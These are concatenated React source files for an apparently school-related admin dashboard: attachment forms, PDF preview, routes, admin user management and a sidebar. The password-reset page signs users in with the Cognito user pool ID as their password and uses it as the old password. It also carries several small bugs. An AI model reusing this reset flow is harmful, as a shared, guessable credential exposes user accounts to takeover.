>
<GetApp />
</IconButton>
<IconButton
className={classes.actionBtn}
size="small"
onClick={() => handleFormAction('delete')}
disabled={!canDelete}
>
<Delete />
</IconButton>
</Box>
</Box>
<Divider className={classes.separator} />
<input
type="file"
id="file"
ref={refUploader}
onChange={handleFileUpload}
style={{ display: 'none' }}
/>
<main
className={clsx(classes.main, {
[classes.main]: !isDropping,
[classes.mainDrop]: isDropping
})}
onDragOver={(e) => handleDrag('over', e)}
onDragLeave={(e) => handleDrag('leave', e)}
onDrop={handleDrop}
>
{isDropping && <FontAwesomeIcon icon={faPaperclip} size="6x" />}
{!isDropping && (
<Grid
spacing={2}
container
direction="row"
justify="flex-start"
alignItems="flex-start"
>
<Grid item xs={12} sm={12} md={7} lg={7}>
<List>
{loadedData.map((el) => (
<ListItem
key={el.url}
onClick={() => handleElClick(el)}
className={clsx(classes.listItems, {
[classes.listItem]: selectedFile?.url !== el.url,
[classes.listItemSelected]: selectedFile?.url === el.url
})}
>
<ListItemIcon className={classes.listItemIcon}>
<FontAwesomeIcon icon={getIcon(el.type)} size="lg" />
</ListItemIcon>
<ListItemText className={classes.listItemText}>
<Typography variant="subtitle1">{el.name}</Typography>
</ListItemText>
</ListItem>
))}
</List>
</Grid>
<Grid item xs={12} sm={12} md={5} lg={5}>
{selectedFile && <PreviewAttachment resources={selectedFile} />}
</Grid>
</Grid>
)}
</main>
</LoadingCard>
);
};
export default AttachmentForm;
<file_sep>/src/pages/Auth/ForgotPassword/SubmitPassword/index.js
import React, { useState } from 'react';
import { Auth } from 'aws-amplify';
import Button from '@material-ui/core/Button';
import CircularProgress from '@material-ui/core/CircularProgress';
import { useHistory } from 'react-router-dom';
import {
Box,
FormControl,
Grid,
IconButton,
Input,
InputAdornment,
InputLabel,
Tooltip,
Typography,
withStyles
} from '@material-ui/core';
import useStyles from './style';
import { useInput } from '@app/utils/hooks/form';
import { DefaultCard } from '@app/components/Cards';
import {
Check,
Visibility,
VisibilityOff,
ErrorOutline
} from '@material-ui/icons';
import { useSnackbar } from 'notistack';
import Config from '@app/Config';
const SubmitPassword = ({ email }) => {
const classes = useStyles();
const [loading, setLoading] = useState(false);
const [showPassword, setShowPassword] = useState(false);
const [showConfirm, setShowConfirm] = useState(false);
const { enqueueSnackbar } = useSnackbar();
const history = useHistory();
const { value: password, bind: bindPassword } = useInput('');
const { value: confirm, bind: bindConfirm } = useInput('');
const handleSubmit = async (e) => {
try {
e.preventDefault();
setLoading(true);
const validateResult = validatePassword();
if (!validateResult.success) {
enqueueSnackbar(validateResult.message, { variant: 'error' });
setLoading(false);
return;
}
const currentUser = await Auth.signIn(
email,
Config.aws.aws_user_pools_id
);
await Auth.changePassword(
currentUser,
Config.aws.aws_user_pools_id,
password
);
await Auth.signOut();
history.push('/');
} catch (error) {
enqueueSnackbar(error.message, { variant: 'error' });
setLoading(false);
}
};
const validatePassword = () => {
if (password.length < 8) {
return {
success: false,
msg: 'Password is greater than 8 characters.'
};
}
if (password !== confirm) {
return {
success: false,
msg: 'Password is not matching!'
};
}
return {
success: true,
msg: 'Password reset correctly!'
};
};
const handleClickShowPassword = () => {
setShowPassword(!showPassword);
};
const handleClickShowConfirm = () => {
setShowConfirm(!showConfirm);
};
const handleMouseDownPassword = (event) => {
event.preventDefault();
};
const HtmlTooltip = withStyles((theme) => ({
tooltip: {
backgroundColor: '#f5f5f9',
color: 'rgba(0, 0, 0, 0.87)',
maxWidth: 300,
fontSize: theme.typography.pxToRem(12),
border: '1px solid #dadde9'
}
}))(Tooltip);
return (
<Box className={classes.root}>
<DefaultCard>
<Box className={classes.form}>
<Typography className={classes.title} variant="h6">
Submit New Password
</Typography>
<FormControl className={classes.textfield}>
<InputLabel htmlFor="standard-adornment-password">
Password
</InputLabel>
<Input
error={password.length > 0 && password.length < 8}
id="standard-adornment-password"
type={showPassword ? 'text' : 'password'}
{...bindPassword}
endAdornment={
<InputAdornment position="end">
<IconButton
aria-label="toggle password visibility"
onClick={handleClickShowPassword}
onMouseDown={handleMouseDownPassword}
>
{showPassword ? <Visibility /> : <VisibilityOff />}
</IconButton>
</InputAdornment>
}
/>
<Box className={classes.colorRed}>
{password && password.length < 8
? 'Password must be greater than 8 characters.'
: ''}
</Box>
</FormControl>
<FormControl className={classes.textfield}>
<InputLabel htmlFor="standard-adornment-password">
Confirm
</InputLabel>
<Input
error={confirm.length > 0 && password !== confirm}
id="standard-adornment-password"
type={showConfirm ? 'text' : 'password'}
{...bindConfirm}
endAdornment={
<InputAdornment position="end">
<IconButton
aria-label="toggle password visibility"
onClick={handleClickShowConfirm}
onMouseDown={handleMouseDownPassword}
>
{showConfirm ? <Visibility /> : <VisibilityOff />}
</IconButton>
</InputAdornment>
}
/>
<Box className={classes.colorRed}>
{confirm && password !== confirm
? 'Password is not matching!'
: ''}
</Box>
</FormControl>
<HtmlTooltip
title={
<React.Fragment>
<Box className={classes.passwordhint}>
<Box>
<Box>
<b> Password Must:</b>
</Box>
<Grid
container
direction="row"
justify="flex-start"
alignItems="center"
>
{password.length >= 8 ? (
<Check
className={classes.colorGreen}
fontSize="small"
/>
) : (
<ErrorOutline
className={classes.colorUnable}
fontSize="small"
/>
)}
<Box
className={
password.length >= 8 ? '' : classes.colorUnable
}
>
More than 8 characters
</Box>
</Grid>
{confirm && password === confirm ? (
<Grid
container
direction="row"
justify="flex-start"
alignItems="center"
>
<Check
className={classes.colorGreen}
fontSize="small"
/>
<Box component="span">
Be confirmed
</Box>
</Grid>
) : (
<Grid
container
direction="row"
justify="flex-start"
alignItems="center"
>
<ErrorOutline
className={classes.colorUnable}
fontSize="small"
/>
<Box component="span" className={classes.colorUnable}>
Be confirmed
</Box>
</Grid>
)}
</Box>
</Box>
</React.Fragment>
}
placement="right"
arrow
>
<Button
variant="contained"
clsssName={classes.actionButton}
size="large"
onClick={handleSubmit}
disabled={loading}
>
{loading && (
<CircularProgress size={20} className={classes.mr20} />
)}
Submit
</Button>
</HtmlTooltip>
</Box>
</DefaultCard>
</Box>
);
};
export default SubmitPassword;
<file_sep>/src/pages/Auth/ForgotPassword/style.js
import { makeStyles } from '@material-ui/core';
const useStyles = makeStyles((theme) => ({
background: {
position: 'fixed',
width: '100%',
height: '100%',
background: `linear-gradient(0, ${theme.palette.blueGrey['700']} 30%, ${theme.palette.blueGrey['300']} 90%)`
}
}));
export default useStyles;
<file_sep>/src/components/Forms/Attachment/Preview.js
import React, { useState, useEffect } from 'react';
import { Box, Divider, Typography, TextField, Button } from '@material-ui/core';
import { Img } from 'react-image';
import PDFReader from '@app/components/PDFReader';
import useStyles from './style';
const AttachmentPreview = ({ resources }) => {
const classes = useStyles();
const [loadedData, setLoadedData] = useState({});
useEffect(() => {
setLoadedData(resources);
}, [resources]);
const handleInputChange = (field, value) => {
setLoadedData({
...loadedData,
[field]: value
});
};
return (
<Box className={classes.preview}>
<Box justifyContent="space-between" display="flex" alignItems="center">
<Typography variant="h6" className={classes.previewTitle}>
Preview
</Typography>
<Button size="small" className={classes.updateBtn}>
Update
</Button>
</Box>
<Divider className={classes.separator} />
<TextField
value={loadedData.name}
variant="outlined"
size="small"
label="Name *"
className={classes.inputArea}
onChange={(e) => handleInputChange('name', e.target.value)}
/>
<TextField
value={loadedData.altText}
variant="outlined"
size="small"
label="Alternative Text"
className={classes.inputArea}
onChange={(e) => handleInputChange('altText', e.target.value)}
/>
<Box display="flex" justifyContent="center">
{loadedData.type === 'video/mp4' && (
<video
src={loadedData.url}
controls
autoPlay
className={classes.previewVideo}
/>
)}
{(loadedData.type === 'image/png' ||
loadedData.type === 'image/jpeg') && (
<Img src={loadedData.url} className={classes.previewImg} />
)}
{loadedData.type === 'application/pdf' && (
<Box className={classes.previewPdf}>
<PDFReader url={loadedData.url} />
</Box>
)}
</Box>
<Box textAlign="center">
<Typography variant="caption" className={classes.previewUrl}>
{loadedData.url}
</Typography>
</Box>
</Box>
);
};
export default AttachmentPreview;
<file_sep>/src/components/PDFReader/index.js
/* eslint-disable max-len */
import React, { useState } from 'react';
import { Box } from '@material-ui/core';
import { Document, Page, pdfjs } from 'react-pdf';
import config from '@app/Config';
import useStyles from './style';
import './style.css';
const PDFReader = ({ url, style }) => {
const classes = useStyles();
const [numPages, setNumPages] = useState(null);
const [pageNumber, setPageNumber] = useState(1);
pdfjs.GlobalWorkerOptions.workerSrc = `//cdnjs.cloudflare.com/ajax/libs/pdf.js/${pdfjs.version}/pdf.worker.min.js`;
const handleDocumentLoadSuccess = ({ numPages }) => {
setNumPages(numPages);
setPageNumber(1);
};
return (
<Box className={classes.root} display="flex" justifyContent="center">
<Document
className={classes.content}
file={`${config.dev.corsHandler}${url}`}
onLoadSuccess={handleDocumentLoadSuccess}
>
<Page scale={1} width={450} pageNumber={pageNumber} />
</Document>
</Box>
);
};
export default PDFReader;
<file_sep>/src/components/Forms/HTMLEditor/style.js
import { makeStyles } from '@material-ui/core/styles';
const useStyles = makeStyles((theme) => ({
root: {
flex: 1,
padding: 0
},
wrapperArea: {
border: `1px solid ${theme.palette.blueGrey['50']}`,
minHeight: 'calc(100vh - 471px)',
background: '#fff'
},
toolbarArea: {
border: 'none',
borderBottom: `1px solid ${theme.palette.blueGrey['50']}`,
boxSizing: 'border-box',
padding: '6px, 0, 0, 0'
},
hiddentoolbarArea: {
display: 'none'
},
editorArea: {
padding: `0 ${theme.spacing(2)}px`,
minHeight: 'calc(100vh - 487px)'
}
}));
export default useStyles;
<file_sep>/src/components/App/TabPanel/index.js
import React from 'react';
import PropTypes from 'prop-types';
import { Box, Typography } from '@material-ui/core';
import useStyles from './style';
const AppTabPanel = (props) => {
const classes = useStyles();
const { children, value, index, ...other } = props;
return (
<div
role="tabpanel"
hidden={value !== index}
id={`vertical-tabpanel-${index}`}
className={classes.root}
aria-labelledby={`vertical-tab-${index}`}
{...other}
>
{value === index && (
<Box p={3}>
<Typography>{children}</Typography>
</Box>
)}
</div>
);
};
AppTabPanel.propTypes = {
children: PropTypes.node,
index: PropTypes.any.isRequired,
value: PropTypes.any.isRequired
};
export default AppTabPanel;
<file_sep>/src/routes/index.js
import React from 'react';
import { Switch, withRouter } from 'react-router-dom';
import PublicRoute from './public-route';
import PrivateRoute from './private-route';
import RestrictedRoute from './restricted-route';
import BasicLayout from '@app/layouts/basic-layout';
import DashboardLayout from '@app/layouts/dashboard-layout';
import { LoginContainer, ForgotPasswordContainer } from '@app/pages/Auth';
import AdminContainer from '@app/pages/Admin';
import DashboardContainer from '@app/pages/Dashboard';
import TopologyContainer from '@app/pages/Topology';
import ResourceContainer from '@app/pages/Resource';
import GalleryContainer from '@app/pages/Gallery';
import PackageContainer from '@app/pages/Package';
import NotFound from '@app/pages/NotFound';
const AppRoutes = () => (
<Switch>
<RestrictedRoute
exact
path="/"
component={LoginContainer}
layout={BasicLayout}
/>
<RestrictedRoute
exact
path="/forgot-password"
component={ForgotPasswordContainer}
layout={BasicLayout}
/>
<PrivateRoute
path="/dashboard"
component={DashboardContainer}
layout={DashboardLayout}
/>
<PrivateRoute
path="/topologies/:type?/:typeId?/:parentID?"
component={TopologyContainer}
layout={DashboardLayout}
/>
<PrivateRoute
path="/resources/:id?"
component={ResourceContainer}
layout={DashboardLayout}
/>
<PrivateRoute
path="/galleries/:type?/:id?"
component={GalleryContainer}
layout={DashboardLayout}
/>
<PrivateRoute
path="/packages/:id?"
component={PackageContainer}
layout={DashboardLayout}
/>
<PrivateRoute
path="/admins/:type?/:id?"
component={AdminContainer}
layout={DashboardLayout}
/>
<PublicRoute path="**" component={NotFound} layout={BasicLayout} />
</Switch>
);
export default withRouter(AppRoutes);
<file_sep>/src/pages/Auth/ForgotPassword/SubmitPassword/style.js
import { makeStyles } from '@material-ui/core';
const useStyles = makeStyles((theme) => ({
root: {
flex: 1,
'& > *': {
maxWidth: 500,
margin: `${theme.spacing(10)}px auto`,
padding: theme.spacing(2)
}
},
form: {
display: 'flex',
flexDirection: 'column',
justifyContent: 'space-between'
},
title: {
fontSize: '22px',
fontWeight: 800
},
textfield: {
margin: '10px 0'
},
mr20: {
marginRight: 20
},
colorRed: {
color: 'red'
},
passwordhint: {
padding: '20px'
},
overflowVisible: {
overflow: 'visible'
},
colorGreen: {
color: 'forestgreen'
},
colorUnable: {
color: 'lightsalmon'
},
actionButton: {
backgroundColor: theme.palette.blueGrey['500'],
color: theme.palette.common.white
}
}));
export default useStyles;
<file_sep>/src/components/Forms/Attachment/style.js
import { makeStyles } from '@material-ui/core/styles';
const useStyles = makeStyles((theme) => ({
root: {
flex: 1
},
title: {
color: theme.palette.blueGrey['700']
},
icon: {
marginRight: theme.spacing(2)
},
actionBtn: {
marginLeft: theme.spacing(1)
},
separator: {
height: 2
},
main: {
minHeight: 350,
maxHeight: 450
},
mainDrop: {
display: 'flex',
justifyContent: 'center',
alignItems: 'center',
filter: 'blur(1px)',
background: '#fff'
},
listItems: {
cursor: 'pointer',
paddingTop: theme.spacing(0),
paddingBottom: theme.spacing(0)
},
listItemIcon: {
minWidth: 30
},
listItem: {
color: theme.palette.blueGrey['900'],
fontWeight: 700
},
listItemSelected: {
color: theme.palette.common.black,
fontWeight: 700,
background: theme.palette.blueGrey['200']
},
preview: {
padding: theme.spacing(2),
maxHeight: 600,
flex: 1
},
previewTitle: {
color: theme.palette.blueGrey['700']
},
previewImg: {
marginTop: theme.spacing(1),
marginBottom: theme.spacing(1),
width: 300,
border: `2px dashed ${theme.palette.blueGrey['700']}`
},
previewPdf: {
marginTop: theme.spacing(1),
marginBottom: theme.spacing(1),
border: `2px dashed ${theme.palette.blueGrey['700']}`,
width: '100%',
height: 260
},
previewVideo: {
marginTop: theme.spacing(1),
marginBottom: theme.spacing(1),
width: '100%',
border: `2px dashed ${theme.palette.blueGrey['700']}`
},
inputArea: {
width: '100%',
marginTop: theme.spacing(1),
marginButtom: theme.spacing(1)
},
previewUrl: {
color: theme.palette.blueGrey['500']
},
updateBtn: {
color: theme.palette.blueGrey['800'],
fontWeight: 600,
'&:hover': {
color: theme.palette.blueGrey['600']
}
}
}));
export default useStyles;
<file_sep>/src/utils/auth.js
import { Auth } from 'aws-amplify';
export const isAuthenticated = async () => {
let user = null;
try {
user = await Auth.currentAuthenticatedUser();
if (user) {
return true;
} else {
return false;
}
} catch (e) {
return false;
}
};
<file_sep>/src/components/App/index.js
export { default as AppNavbar } from './Navbar';
export { default as AppFooter } from './Footer';
export { default as AppSidebar } from './Sidebar';
export { default as AppTabPanel } from './TabPanel';
<file_sep>/src/pages/Admin/AdminUsers.js
import React, { useState, useEffect } from 'react';
import { useQuery, useMutation } from '@apollo/client';
import { Box, Divider, Typography, Button } from '@material-ui/core';
import { Add as AddIcon } from '@material-ui/icons';
import { useSnackbar } from 'notistack';
import { Alert } from '@material-ui/lab';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faUserCog } from '@fortawesome/free-solid-svg-icons';
import { DataGrid } from '@material-ui/data-grid';
import graphql from '@app/graphql';
import CreateUserDialog from './CreateUser';
import EditUserDialog from './EditUser';
import useStyles from './style';
const AdminUsers = ({ type }) => {
const classes = useStyles();
const { enqueueSnackbar } = useSnackbar();
const [loadedData, setLoadedData] = useState([]);
const [title, setTitle] = useState('');
const [totalRow, setTotalRow] = useState();
const [hideAlert, setHideAlert] = useState(false);
const [openCreate, setOpenCreate] = useState(false);
const [openEdit, setOpenEdit] = useState(false);
const [selectedUser, setSelectedUser] = useState({});
const columns = [
{ field: 'name', headerName: 'User name', width: 250 },
{ field: 'firstName', headerName: '<NAME>', width: 200 },
{ field: 'lastName', headerName: '<NAME>', width: 200 },
{ field: 'email', headerName: 'Email', width: 250 },
{ field: 'phone', headerName: 'Phone', width: 150 }
];
useEffect(() => {
switch (type) {
case 'sysAdmin':
setTitle('System Admins');
break;
case 'stationAdmin':
setTitle('Station Admins');
break;
case 'districtAdmin':
setTitle('District Admins');
break;
case 'schoolAdmin':
setTitle('School Admins');
break;
default:
break;
}
}, [type]);
const [createGrouping] = useMutation(graphql.mutations.createGrouping, {
update(cache, { data: { createGrouping } }) {
const existData = cache.readQuery({
query: graphql.queries.grouping,
variables: {
schemaType: type
}
});
const tmp = [...existData.grouping, createGrouping];
cache.writeQuery({
query: graphql.queries.grouping,
variables: {
schemaType: type
},
data: {
grouping: tmp
}
});
}
});
const [updateGrouping] = useMutation(graphql.mutations.updateGrouping, {
update(cache, { data: { updateGrouping } }) {
const existData = cache.readQuery({
query: graphql.queries.grouping,
variables: {
schemaType: type
}
});
let tmp = existData.grouping.slice();
const idx = tmp.findIndex((el) => el['_id'] === updateGrouping['_id']);
if (idx > -1) {
tmp[idx] = updateGrouping;
}
cache.writeQuery({
query: graphql.queries.grouping,
variables: {
schemaType: type
},
data: {
grouping: tmp
}
});
}
});
const [deleteDocument] = useMutation(graphql.mutations.deleteDocument, {
update(cache) {
const existData = cache.readQuery({
query: graphql.queries.grouping,
variables: {
schemaType: type
}
});
const tmp = existData.grouping.filter(
(el) => el['_id'] !== selectedUser.idx
);
cache.writeQuery({
query: graphql.queries.grouping,
variables: {
schemaType: type
},
data: {
grouping: tmp
}
});
}
});
const { loading, data, error } = useQuery(graphql.queries.grouping, {
variables: {
schemaType: type
}
});
useEffect(() => {
if (!loading && !error) {
const tmp = data.grouping.map((el, index) => ({
id: index + 1,
idx: el['_id'],
name: el.name,
firstName: el.contact?.firstName,
lastName: el.contact?.lastName,
email: el.contact?.email,
phone: el.contact?.phone,
schemaVer: el.schemaVer,
version: el.version
}));
setLoadedData(tmp);
setTotalRow(tmp.length);
}
}, [loading, data, error]);
const handleCreateDialogChange = async (flag, value) => {
try {
if (flag) {
const response = await createGrouping({
variables: {
schemaType: type,
schemaVer: 1,
version: 1,
name: value.name,
contact: {
firstName: value.firstName,
lastName: value.lastName,
email: value.email,
phone: value.phone
}
}
});
const { data } = response;
const tmp = loadedData.slice();
setLoadedData([
{
...value,
idx: data.createGrouping['_id'],
id: tmp.length > 0 ? tmp[tmp.length - 1]['id'] + 1 : 1
},
...tmp
]);
enqueueSnackbar('Successfully added!', { variant: 'success' });
}
setOpenCreate(false);
} catch (error) {
console.log(error.message);
enqueueSnackbar(error.message, { variant: 'error' });
}
};
const handleEditDialogChange = async (flag, method, value) => {
try {
if (flag) {
if (method === 'save') {
const findedData = loadedData.find((el) => el.idx === value.idx);
const response = await updateGrouping({
variables: {
id: value.idx,
name: value.name ? value.name : findedData.name,
schemaType: type,
schemaVer: findedData.schemaVer,
version: findedData.version,
contact: {
firstName: value.firstName
? value.firstName
: findedData?.firstName,
lastName: value.lastName
? value.lastName
: findedData?.lastName,
email: value.email ? value.email : findedData?.email,
phone: value.phone ? value.phone : findedData?.phone
}
}
});
const { data } = response;
let tmp = loadedData.slice();
const idx = tmp.findIndex((el) => el.idx === value.idx);
tmp[idx] = {
...tmp[idx],
name: data.updateGrouping.name,
fistName: data.updateGrouping.contact?.firstName,
lastName: data.updateGrouping.contact?.lastName,
email: data.updateGrouping.contact?.email,
phone: data.updateGrouping.contact?.phone,
version: data.updateGrouping.version
};
setLoadedData(tmp);
enqueueSnackbar(
`Successfully User ${data.updateGrouping.name} updated.`,
{ variant: 'success' }
);
}
if (method === 'delete') {
const response = await deleteDocument({
variables: {
schemaType: type,
id: value.idx
}
});
const tmp = loadedData.filter((el) => el.idx !== value.idx);
setLoadedData(tmp);
const { data } = response;
enqueueSnackbar(data.deleteDocument, { variant: 'success' });
}
}
setOpenEdit(false);
} catch (error) {
console.log(error.message);
enqueueSnackbar(error.message, { variant: 'error' });
}
};
const handleRowDoubleClick = (value) => {
setOpenEdit(true);
setSelectedUser(value.row);
};
return (
<Box className={classes.container}>
<Box display="flex" justifyContent="space-between" alignItems="center">
<Typography variant="h6" className={classes.panelTitle}>
<FontAwesomeIcon icon={faUserCog} className={classes.panelIcon} />
{title}
</Typography>
<Button
variant="contained"
className={classes.addBtn}
onClick={() => setOpenCreate(true)}
>
<AddIcon />
Add New User
</Button>
</Box>
<Divider className={classes.separator} />
{!hideAlert && (
<Alert
severity="info"
className={classes.alert}
onClose={() => setHideAlert(true)}
>
To <b>EDIT</b> or <b>DELETE</b> the user, please double click the row.
</Alert>
)}
<DataGrid
rows={loadedData}
columns={columns}
rowCount={totalRow}
pageSize={5}
paginationMode="client"
scrollbarSize={5}
rowsPerPageOptions={[5, 10, 15]}
autoHeight
showCellRightBorder
disableSelectionOnClick
onRowDoubleClick={handleRowDoubleClick}
/>
<EditUserDialog
type={type}
open={openEdit}
resources={selectedUser}
onChange={handleEditDialogChange}
/>
<CreateUserDialog
type={type}
open={openCreate}
onChange={handleCreateDialogChange}
/>
</Box>
);
};
export default AdminUsers;
<file_sep>/src/api/index.js
import axios from 'axios';
import { getFileExtension } from '@app/utils/file';
import { genCurrUTCTime } from '@app/utils/date-time';
import config from '@app/Config';
export const genSignedUrl = (file, docId) =>
new Promise(async (resolve, reject) => {
try {
const { endpoint, bucketName } = config.signedUrl;
const fileExt = getFileExtension(file.name);
const fileName = genCurrUTCTime();
const response = await axios({
method: 'get',
url: `${config.dev.corsHandler}${endpoint}`,
params: {
bucket: bucketName,
key: `${docId}/${fileName}.${fileExt}`
}
});
if (response.status !== 200) {
reject();
}
resolve({
signedUrl: response.data.signedUrl,
fileUrl: `${config.assetUrl}/${docId}/${fileName}.${fileExt}`
});
} catch (error) {
console.log(error.message);
reject(error);
}
});
export const avatarUpload = async (url, file) => {
try {
const response = await axios({
method: 'put',
url: `${config.dev.corsHandler}${url}`,
data: file,
headers: { 'Content-Type': 'multipart/form-data' }
});
return response;
} catch (error) {
throw error;
}
};
export const packaging = async () => {
try {
const response = await axios({
method: 'POST',
url: `${config.dev.corsHandler}${config.api.packaging}`,
data: {
bucketName: 'packages.emp-sig.com'
}
});
return response;
} catch (error) {
throw error;
}
};
<file_sep>/src/components/Forms/Tag/index.js
import React, { useState, useEffect } from 'react';
import { Box, TextField } from '@material-ui/core';
import { Autocomplete } from '@material-ui/lab';
import useStyles from './style';
const TagForm = ({ resources, onChange }) => {
const classes = useStyles();
const [value, setValue] = useState([]);
const [loadedData, setLoadedData] = useState([]);
useEffect(() => {
if (resources) {
setLoadedData(resources);
setValue(resources);
}
}, [resources]);
const handleInputChange = (e) => {
setLoadedData([...loadedData, e.target.value]);
};
return (
<Box className={classes.root}>
<Autocomplete
multiple
id="size-small-outlined-multi"
size="small"
options={loadedData}
value={value}
getOptionLabel={(option) => option}
onChange={(e, value) => onChange(value)}
renderInput={(params) => (
<TextField
{...params}
variant="outlined"
label="tags"
onChange={handleInputChange}
/>
)}
/>
</Box>
);
};
export default TagForm;
<file_sep>/src/components/App/Sidebar/Drawer.js
/* eslint-disable max-len */
import React, { useEffect, useState } from 'react';
import clsx from 'clsx';
import { withRouter } from 'react-router-dom';
import { Box, Typography } from '@material-ui/core';
import { useHistory } from 'react-router-dom';
import { Auth } from 'aws-amplify';
import { useTheme } from '@material-ui/core/styles';
import {
Divider,
List,
ListItem,
ListItemIcon,
ListItemText,
Avatar
} from '@material-ui/core';
import {
faCog,
faBox,
faSwatchbook,
faSitemap,
faFileArchive,
faPhotoVideo,
faBookOpen,
faUsersCog,
faInfoCircle
} from '@fortawesome/free-solid-svg-icons';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import noUserFemale from '@app/assets/imgs/no-user-female.jpeg';
import StyledBadge from './StyledBadge';
import useStyles from './style';
const AppDrawer = ({ location }) => {
const classes = useStyles();
const theme = useTheme();
const history = useHistory();
const menuElements = [
{
icon: faSitemap,
text: 'Topology',
url: '/topologies',
disabled: false
},
{
icon: faBookOpen,
text: 'Lessons',
url: '/lessons',
disabled: true
},
{
icon: faBox,
text: 'Packages',
url: '/packages',
disabled: false
},
{
icon: faPhotoVideo,
text: 'Galleries',
url: '/galleries',
disabled: false
},
{
icon: faSwatchbook,
text: 'Resources',
url: '/resources',
disabled: false
},
{
icon: faFileArchive,
text: 'Archives',
url: '/archives',
disabled: true
},
{
icon: faUsersCog,
text: 'Admins',
url: '/admins',
disabled: false
}
];
const actionElements = [
{
icon: faInfoCircle,
text: 'Tutorials',
url: '/tutorials',
disabled: false
},
{ icon: faCog, text: 'Settings', url: '/settings', disabled: false }
];
const [role, setRole] = useState('');
const [userName, setUserName] = useState('');
const [selected, setSelected] = useState('');
useEffect(() => {
if (location) {
let tmpUrl = `/${location.pathname.split('/')[1]}`;
if (tmpUrl === '/materials' || tmpUrl === '/classes') {
tmpUrl = `/${location.pathname.split('/')[1]}/${
location.pathname.split('/')[2]
}`;
}
setSelected(tmpUrl);
}
}, [location]);
const setAvatarInfo = (data) => {
switch (data['custom:userrole']) {
case 'superAdmin':
setRole('Super Admin');
break;
case 'sysAdmin':
setRole('System Admin');
break;
default:
break;
}
const tmp = `${data['custom:firstName']} ${data['custom:lastName']}`;
setUserName(tmp);
};
useEffect(() => {
let profile = localStorage.getItem('profile');
if (!profile) {
const loadUser = () => {
return Auth.currentUserInfo({ bypassCache: true });
};
const onLoad = async () => {
try {
const currentUser = await loadUser();
setAvatarInfo(currentUser['attributes']);
} catch (err) {
console.log(err);
}
};
onLoad();
} else {
profile = JSON.parse(profile);
setAvatarInfo(profile);
}
}, []);
const handleListClick = (value) => {
history.push({ pathname: value.url });
};
return (
<Box className={classes.root}>
<Box className={classes.profile}>
<StyledBadge
overlap="circle"
anchorOrigin={{
vertical: 'bottom',
horizontal: 'right'
}}
variant="dot"
>
<Avatar
alt="Remy Sharp"
className={classes.avatar}
src={noUserFemale}
/>
</StyledBadge>
<Typography variant="subtitle1" className={classes.userName}>
{userName}
</Typography>
<Typography variant="subtitle2" className={classes.userRole}>
{role}
</Typography>
</Box>
<Divider className={classes.separator} />
<List className={classes.menus}>
{menuElements.map((el, index) => (
<ListItem
button
key={index}
className={classes.listItems}
onClick={() => handleListClick(el)}
disabled={el.disabled}
>
<ListItemIcon className={classes.listItemIcons}>
<FontAwesomeIcon
icon={el.icon}
className={clsx(classes.listItemIcon, {
[classes.listItemIconSelcted]: el.url === selected,
[classes.listItemIcon]: el.url !== selected
})}
/>
</ListItemIcon>
<ListItemText
className={clsx(classes.listItemText, {
[classes.listItemTextSelcted]: el.url === selected,
[classes.listItemText]: el.url !== selected
})}
>
{el.text}
</ListItemText>
</ListItem>
))}
</List>
<List className={classes.actionList}>
<Divider className={classes.separator} />
{actionElements.map((el, index) => (
<ListItem
button
key={index}
className={classes.listItems}
onClick={() => handleListClick(el)}
disabled={el.disabled}
>
<ListItemIcon className={classes.listItemIcons}>
<FontAwesomeIcon
icon={el.icon}
size="lg"
color={theme.palette.common.white}
/>
</ListItemIcon>
<ListItemText>{el.text}</ListItemText>
</ListItem>
))}
</List>
</Box>
);
};
export default withRouter(AppDrawer);
<file_sep>/src/graphql/index.js
import {
Grouping,
CreateGrouping,
DeleteDocument,
UpdateGrouping,
GroupingAdd,
DocumentDelete,
GroupingUpdate
} from './Grouping.gql';
export default {
queries: {
grouping: Grouping
},
mutations: {
createGrouping: CreateGrouping,
deleteDocument: DeleteDocument,
updateGrouping: UpdateGrouping
},
subscriptions: {
groupingAdd: GroupingAdd,
documentDelete: DocumentDelete,
groupingUpdate: GroupingUpdate
}
};
<file_sep>/src/pages/Auth/Login/style.js
import { makeStyles } from '@material-ui/core';
const useStyles = makeStyles((theme) => ({
root: {
display: 'flex',
top: '0',
left: '0',
width: '100vw',
height: '100vh',
background: `linear-gradient(0, ${theme.palette.blueGrey['700']} 30%, ${theme.palette.blueGrey['300']} 90%)`,
'& > *': {
maxWidth: 500,
margin: `${theme.spacing(10)}px auto`,
padding: theme.spacing(2),
height: 'fit-content'
},
overflowY: 'scroll'
},
form: {
display: 'flex',
flexDirection: 'column',
justifyContent: 'space-between'
},
rememberme: {
margin: '15px 0 0 0',
textAlign: 'top'
},
title: {
fontSize: '22px',
fontWeight: 800
},
card: {
width: '500px',
margin: '100px auto',
padding: '40px'
},
textfield: {
margin: '10px 0'
},
link: {
margin: `${theme.spacing(2)}px 0`,
textAlign: 'right',
textDecoration: 'none'
},
linktextleft: {
margin: `${theme.spacing(3)}px 0`,
textAlign: 'left',
textDecoration: 'none',
color: '#37474f'
},
mr20: {
marginRight: 20
},
googleLogin: {
marginTop: theme.spacing(1)
},
poweredby: {
margin: '0',
textAlign: 'right',
fontStyle: 'italic',
display: 'flex',
float: 'right',
alignItems: 'center'
},
bottomlogo: {
width: '200px',
height: '80px'
},
loginButton: {
backgroundColor: theme.palette.blueGrey['500'],
color: theme.palette.common.white
}
}));
export default useStyles;
<file_sep>/src/components/Forms/HTMLEditor/editor.config.js
export default {
fontSize: {
icon: 'fontSize',
options: [8, 9, 10, 11, 12, 14, 16, 18, 24, 30, 36, 48, 60, 72, 96],
className: undefined,
component: undefined,
dropdownClassName: undefined
},
fontFamily: {
options: [
'Arial',
'Georgia',
'Impact',
'Tahoma',
'Times New Roman',
'Verdana'
],
className: undefined,
component: undefined,
dropdownClassName: undefined
},
blockType: {
inDropdown: true,
options: [
'Normal',
'H1',
'H2',
'H3',
'H4',
'H5',
'H6',
'Blockquote',
'Code'
],
className: 'blockType',
component: undefined,
dropdownClassName: undefined
},
list: {
options: ['unordered', 'ordered']
},
history: {
inDropdown: false,
className: undefined,
component: undefined,
dropdownClassName: undefined,
options: ['undo', 'redo']
}
};
<file_sep>/src/components/Forms/index.js
export { default as DescriptionForm } from './Description';
export { default as TagForm } from './Tag';
export { default as AvatarForm } from './Avatar';
export { default as HTMLEditor } from './HTMLEditor';
export { default as AttachmentForm } from './Attachment';
<file_sep>/src/components/App/Sidebar/style.js
import { makeStyles } from '@material-ui/core/styles';
const drawerWidth = 220;
const useStyles = makeStyles((theme) => ({
drawer: {
[theme.breakpoints.up('sm')]: {
width: drawerWidth,
flexShrink: 0
